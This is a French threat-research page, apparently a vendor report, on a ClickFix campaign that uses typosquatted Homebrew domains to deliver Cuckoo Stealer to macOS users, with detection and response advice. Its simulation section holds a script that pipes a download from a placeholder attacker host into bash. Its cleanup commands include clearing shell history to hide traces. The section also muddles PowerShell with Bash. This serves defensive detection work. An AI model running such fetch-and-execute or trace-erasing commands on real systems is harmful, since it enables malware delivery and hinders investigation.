Faux Typosquats de Homebrew Utilisés pour Diffuser Cuckoo Stealer via ClickFix

Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime

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Faux Typosquats de Homebrew Utilisés pour Diffuser Cuckoo Stealer via ClickFix

Detection stack

AIDR
Alert
ETL
Query

Rapport
Flux d'Attaque
Détections
Simulations

Résumé

Le rapport décrit une campagne qui abuse des domaines Homebrew typosquattés pour inciter les développeurs macOS à exécuter des commandes d’installation malveillantes via la technique ClickFix. Un one-liner curl fabriqué envoie les victimes vers une infrastructure contrôlée par l’attaquant, livrant un chargeur de vol d’informations d’identification suivi de l’infostealer Cuckoo Stealer. Le malware persiste à travers un LaunchAgent, enlève les attributs de quarantaine et exfiltre les informations d’identification et les données de portefeuille via HTTPS. La détection doit se concentrer sur les motifs de commande curl et l’infrastructure associée.

Enquête

Les chercheurs ont retracé l’appât initial à homabrews.org, résolvant à 5.255.123.244 aux Pays-Bas et hébergeant plusieurs domaines similaires (y compris raw.homabrews.org utilisé pour la livraison). Le script téléchargé exécute une boucle dscl authonly pour valider les identifiants macOS, puis récupère un binaire nommé brew_agent. Dans la deuxième étape, Cuckoo Stealer crée un plist LaunchAgent, supprime les drapeaux de quarantaine et communique avec le C2 en utilisant l’échange de clés X25519 avec des charges utiles chiffrées par XOR. La chasse à l’infrastructure a découvert un réseau d’au moins six domaines partageant la même IP d’hébergement.

Atténuation

Éduquer les développeurs à vérifier les URL d’installation de Homebrew et à éviter de copier-coller des commandes non fiables dans le Terminal. Activer la journalisation en ligne de commande et restreindre les modèles où curl extrait des scripts distants pour une exécution immédiate, en particulier les one-liners de style « curl | sh ». La protection des points de terminaison doit alerter sur la création suspecte de LaunchAgent et la suppression d’attributs de quarantaine. Les défenses réseau doivent bloquer les domaines malveillants connus et signaler le trafic vers raw.homabrews.org et les hôtes associés.

Réponse

Lorsqu’une commande curl suspecte est détectée, isoler le point de terminaison, capturer le script et le binaire brew_agent, et collecter le plist LaunchAgent pour analyse. Réinitialiser les identifiants récoltés et révoquer les jetons compromis, en particulier pour les navigateurs, le Trousseau, et les portefeuilles de crypto-monnaie. Examiner de manière médico-légale le répertoire BrewUpdater caché, tous les raccourcis créés, et supprimer les fichiers malveillants. Mettre à jour les détections avec les IOC extraits et surveiller la réutilisation de la même infrastructure.

« graph TB %% Class definitions classDef technique fill:#e6f2ff %% Node definitions node_A[« Technique – T1659 Injection de Contenu Description: L’attaquant héberge une page Web malveillante qui imite un site légitime pour diffuser un contenu malveillant lorsqu’un utilisateur visite. »] class node_A technique node_B[« Technique – T1204.004 Exécution Utilisateur : Copie & Collage Malveillant Description: La victime copie une commande élaborée depuis une page Web et l’exécute dans un terminal. »] class node_B technique node_C[« Technique – T1059.004 Shell Unix Description: Utilisation d’un shell Unix pour télécharger et exécuter un script de premier stade. »] class node_C technique node_D[« Technique – T1555.001 Identifiants depuis les Magasins de Mots de Passe : Keychain Description: Accéder au Trousseau macOS pour récolter les identifiants stockés. »] class node_D technique node_E[« Technique – T1555.003 Identifiants depuis les Magasins de Mots de Passe : Navigateurs Web Description: Extraire les mots de passe enregistrés et les cookies depuis les navigateurs web. »] class node_E technique node_F[« Technique – T1539 Voler le Cookie de Session Web Description: Collecter les jetons de session actifs depuis les navigateurs et extensions. »] class node_F technique node_G[« Technique – T1614.001 Découverte de Langue du Système Description: Interroger la variable d’environnement LANG pour déterminer la locale du système et éviter certaines régions. »] class node_G technique node_H[« Technique – T1543.001 Launch Agent Description: Installer un plist LaunchAgent au niveau utilisateur pour la persistance. »] class node_H technique node_I[« Technique – T1553.001 Contournement de Gatekeeper Description: Supprimer l’attribut de quarantaine avec xattr pour contourner Gatekeeper sur macOS. »] class node_I technique node_J[« Technique – T1027 Fichiers ou Informations Obfusqués Description: Chiffrer avec XOR les chaînes, charges utiles et configurations pour masquer le contenu malveillant. »] class node_J technique node_K[« Technique – T1113 Capture d’Écran Description: Capturer des captures d’écran silencieusement en utilisant l’utilitaire screencapture. »] class node_K technique node_L[« Technique – T1119 Collection Automatisée Description: Récolter récursivement les portefeuilles de cryptomonnaie, notes, documents et jetons de messagerie. »] class node_L technique node_M[« Technique – T1573 Canal Chiffré Description: Réaliser un échange de clés ECDH X25519 pour créer un canal C2 chiffré. »] class node_M technique node_N[« Technique – T1102.002 Service Web : Communication Bidirectionnelle Description: Communiquer avec le serveur de commande-et-contrôle via HTTPS. »] class node_N technique node_O[« Technique – T1041 Exfiltration sur Canal C2 Description: Transférer des données volées par le canal chiffré. »] class node_O technique node_P[« Technique – T1529 Arrêt/Redémarrage Système Description: Exécuter une commande de redémarrage quand dicté par l’attaquant. »] class node_P technique node_Q[« Technique – T1653 Paramètres d’Alimentation Description: Déclencher un redémarrage système pour appliquer des changements ou perturber la réponse aux incidents. »] class node_Q technique node_R[« Technique – T1070.009 Effacer la Persistance Description: Se détruire en retirant les binaires et le plist LaunchAgent. »] class node_R technique node_S[« Technique – T1564.014 Cacher les Artéfacts : Attributs Étendus Description: Enlever l’attribut de quarantaine pour éviter les avertissements de Gatekeeper. »] class node_S technique %% Connections showing flow node_A u002du002d>|conduit à| node_B node_B u002du002d>|conduit à| node_C node_C u002du002d>|conduit à| node_D node_C u002du002d>|conduit à| node_E node_C u002du002d>|conduit à| node_F node_C u002du002d>|conduit à| node_G node_C u002du002d>|conduit à| node_H node_H u002du002d>|permet| node_I node_I u002du002d>|permet| node_J node_J u002du002d>|permet| node_K node_K u002du002d>|permet| node_L node_L u002du002d>|permet| node_M node_M u002du002d>|permet| node_N node_N u002du002d>|permet| node_O node_O u002du002d>|permet| node_P node_P u002du002d>|conduit à| node_Q node_Q u002du002d>|conduit à| node_R node_R u002du002d>|conduit à| node_S «

Flux d’Attaque

Narrative d’Attaque & Commandes :
Un attaquant a obtenu un script PowerShell encodé malveillant hébergé sur un serveur C2. Pour éviter d’écrire des fichiers sur le disque, l’attaquant envoie le script directement dans un shell Bash en utilisant curl -fsSL et le -c drapeau. La commande est exécutée de manière interactive depuis un compte utilisateur compromis, imitant un installateur ‘click‑fix’ légitime. Les étapes sont :
1. Résoudre l’URL de charge malveillante (par exemple, https://evil.example.com/payload.sh).
2. Diriger le téléchargement vers Bash, en instruisant Bash pour exécuter le contenu avec -c.
3. La charge utile effectue la récolte de crédentielles, crée un fichier caché, puis supprime le script temporaire (couvrant T1070.004).

Script de Test de Régression :

#!/usr/bin/env bash
# -------------------------------------------------
# Simuler un installateur malveillant de macOS (style ClickFix)
# -------------------------------------------------
set -euo pipefail

MALICIOUS_URL="https://evil.example.com/payload.sh"

# Transmettre la charge directement dans Bash avec -c
curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)"

# La charge utile elle-même est supposée effectuer ses actions malveillantes.
# Pour le test, nous affichons simplement un marqueur.
echo "Charge utile malveillante exécutée"

Commandes de Nettoyage :

# Supprimer tous les fichiers qui pourraient avoir été créés par la charge utile
rm -f /tmp/payload.sh
# Facultativement, effacer l'historique des commandes pour réduire les traces légales
history -c

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Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
ss	These cookies enable the website to provide enhanced functionality and personalisation . They may be set by us or by third party providers whose services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality .

Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.